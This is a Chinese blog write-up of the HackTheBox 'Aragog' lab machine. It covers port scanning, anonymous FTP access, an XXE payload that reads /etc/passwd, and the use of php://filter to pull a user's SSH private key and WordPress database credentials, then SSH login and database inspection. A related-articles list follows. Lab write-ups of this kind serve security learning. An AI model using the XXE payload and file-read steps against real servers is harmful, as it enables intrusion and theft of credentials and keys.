首页 > 其他分享 >hackthebox --aragog

hackthebox --aragog

时间:2023-05-25 12:14:04浏览次数:46  
标签:ftp -- hackthebox florian aragog 10.10 10.78 ssh

主机发现与爆破

nmap -sT --min-rate 10000 10.10.10.78

nmap -sT -sV -sC -O -p22,21,80 10.10.10.78

 发现有ftp匿名登陆

└─$ ftp 10.10.10.78
Connected to 10.10.10.78.
220 (vsFTPd 3.0.3)
Name (10.10.10.78:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

成功登录

ls查看并下载test.txt文件

发现是一个xml文件

ftp> ls
229 Entering Extended Passive Mode (|||44755|)
150 Here comes the directory listing.
-r--r--r-- 1 ftp ftp 86 Dec 21 2017 test.txt
226 Directory send OK.

下载并查看

目录爆破

sudo dirb http://aragog.htb/ 

并没有发现什么特殊东西

深度挖掘

 发现一个php页面,查看页面

 发现如此

继续渗透的关键在于能不能想到利用xml格式进行xxe攻击

bp抓包进行并change request method攻击

 得知是xxe攻击,写出xxe攻击的基本格式,利用test.txt里面的xml格式进行替换

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>
替换修改关键词
example 前面要加一个自定义的字符用来执行 example设置成system Doe是用来system执行的命令或者输出的文件
改成

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY please SYSTEM "/etc/passwd"> ]>
<details>
<subnet_mask>&please;</subnet_mask>
<test></test>
</details>

tips注意报错点 xml格式定义自定义字符时,需要添加&和分号; 不然会执行失败

 根据开放端口ssh并且登录ssh看看是需要密码还是密钥

 发现是密钥登陆,那可以对敏感的路径进行爆破显示

利用bp的intruder模块进行爆破 注意输出的时候有由于system是执行显示的命令,对内部文件的php内容需要php://filter/convert.base64.encode/resource=/var/html/www/wp-config等等进行输出

爆破出例如/etc/passwd /etc/crontab /home/florian/.ssh/id_rsa 等敏感文件,发现id_rsa里面保存一个florian的密钥

 

利用这个进行登录获取ssh的shell

 vim florian.ssh 拷贝 wp保存

ssh [email protected] 

报错 

是因为没有给florian.ssh 做一个私密权限 chmod 600 florian.ssh 即可

重新登录 成功

shell权限查看

是一个权限比较低的账号,而且我们不知道他的密码是多少

查看敏感文件

进入到/var/www/html中看有没有其他目录,发现wp目录,查看wp-config配置

找到配置文件的mysql密码和账户登录查看

发现wp_wiki数据库,查看账户密码

得到了一个账号密码,破解就能登陆,但是因为不知道怎么破解

tips:describe table;能够让这个表显示出里面的所有字段名,好让select 出来的东西精确

标签:ftp,--,hackthebox,florian,aragog,10.10,10.78,ssh
From: https://www.cnblogs.com/lisenMiller/p/17430761.html

相关文章

  • P1793 求解迷宫问题
    #include<iostream>usingnamespacestd;charmaze[8][8];voiddfs(intx,inty);voidprint(){for(inti=0;i<8;i++){for(intj=0;j<8;j++)cout<<maze[i][j];cout<<endl;}......
  • P1794 求解好多鱼问题
    #include<iostream>#include<vector>#include<algorithm>usingnamespacestd;vector<int>vd;vector<int>vn;intn;intminsize;intmaxsize;intmain(){intd=0;intmsize=0;intmxsize=0;cin>>minsize>......
  • < Python全景系列-7 > 提升Python编程效率:模块与包全面解读
    欢迎来到我们的系列博客《Python全景系列》!在这个系列中,我们将带领你从Python的基础知识开始,一步步深入到高级话题,帮助你掌握这门强大而灵活的编程语法。无论你是编程新手,还是有一定基础的开发者,这个系列都将提供你需要的知识和技能。Python全景系列的第七篇,本文将深入探讨Python......
  • im客服系统搭建
    im客服系统搭建教程源码文件中有截图文档,如果部署过程中遇到问题,请认真查看文档下图为源码文件结构1、环境要求Nginx1.21.4、PHP-7.3(及以上)、MySQL5.6、centos7.5、宝塔2、宝塔创建网站记住刚才创建的数据库连接信息2、上传后端源码文件上传完毕后解压3、设置网......
  • 设计模式(二)结构型
    1、代理模式创建一个代理对象来控制对另一个对象的访问,以提供额外的功能或限制。1publicinterfaceFoodService{2FoodmakeChicken();3FoodmakeNoodle();4}56publicclassFoodServiceImplimplementsFoodService{7publicFoodmakeChic......
  • How to change the default Python2 to Python3 on Linux All In One
    HowtochangethedefaultPython2toPython3onLinuxAllInOneRaspberryPi在Linux中如何把默认的Python2更改为Python3solutions.bashrc/.zshrcalias$sudovim.bashrc$cat.bashrc$cat.bashrc|greppy#.bashrc配置一个alias✅#Python3=......
  • Luogu P1903 [国家集训队] 数颜色 / 维护队列
    题目来源https://www.luogu.com.cn/problem/P1903[国家集训队]数颜色/维护队列题目描述墨墨购买了一套\(N\)支彩色画笔(其中有些颜色可能相同),摆成一排,你需要回答墨墨的提问。墨墨会向你发布如下指令:\(Q\L\R\)代表询问你从第\(L\)支画笔到第\(R\)支画笔中共有几种......
  • CMake常用命令大全:提高项目构建效率
    CMake是一个跨平台、开源的构建工具,它可以自动生成Makefile或者VisualStudio等IDE的工程文件。它能够帮助开发者更方便地管理项目的构建过程,提高项目构建的效率。在本文中,我们将介绍CMake常用的命令以及对应的用法add_executableadd_executable命令用于将多个源文件编译成可......
  • SICK CLV69x TCP/IP与PC通讯调试实例
    ​第一部分:现场需求/问题描述客户购买了CLV690+CMF400TCP/IP模块以及手持枪IDM261,有以下要求: 1.  CLV690读取钢卷信息,没有读到通过手持枪补扫; 2.  条码信息通过TCP/IP与PC端通讯; ​ 第二部分:现场工作内容1.产品功能和参数设置:  a. 安装和电......
  • P1795 求解图的 m 着色问题
    #include<iostream>usingnamespacestd;intk,v,m;//v顶点k边数m颜色种类intans;//记录最后答案intcol[1010];//标记每个顶点所图颜色intgraph[1010][1010];//二维数组存图booljudge(intp,int......